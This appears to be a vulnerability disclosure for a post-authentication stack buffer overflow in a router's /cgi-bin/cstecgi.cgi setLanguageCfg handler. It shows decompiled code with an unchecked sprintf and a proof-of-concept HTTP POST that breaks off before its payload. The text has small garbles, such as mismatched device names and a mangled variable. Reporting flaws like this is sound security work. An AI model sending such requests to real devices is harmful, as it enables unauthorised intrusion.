## LR350 - bof - setLanguageCfg

Hi, we found a post-authentication stack buffer overflow at NR1800X (Firmware version V9.3.5u.6369\_B20220309), and contact you at the first time.

The bug is in function **setLanguageCfg** of the file **/cgi-bin/cstecgi.cgi** which can control **lang** to attack. The size of **lang** is not checked, and directly copy to stack via **sprintf** (at **line 17**)

```
1 int __fastcall sub_428238(int a1)
2 {
3 const char *v2; // $s2
4 int v3; // $s0
5 int v4; // $s1
6 const char *v5; // $s0
7 char v7[128]; // [sp+18h] [-80h] BYREF
9 memset(v7, 0, sizeof(v7));
10 12 = (const char *)websGetVar(a1, "lang", "cn");
11 v3 = websGetVar(a1, "langAutoFlag", &word_42F724);
12 nvram_set("preferred_lang", v2);
13 nvram set("auto lang", v3);
14 v4 = getJsonConf(0);
15 if ( v4 )
16 {
17
      sprintf(v7, "HelpUrl %s", v2);
```

PoC

POST /cgi-bin/cstecgi.cgi HTTP/1.1

Host: 192.168.17.220

User-Agent: python-requests/2.18.4

Accept-Encoding: gzip, deflate

Accept: \*/\*

Connection: keep-alive Cookie: Cookie=uid=1234

Content-Length: 5

Content-Type: application/x-www-form-urlencoded

{"topicurl": "setLanguageCfg", "lang":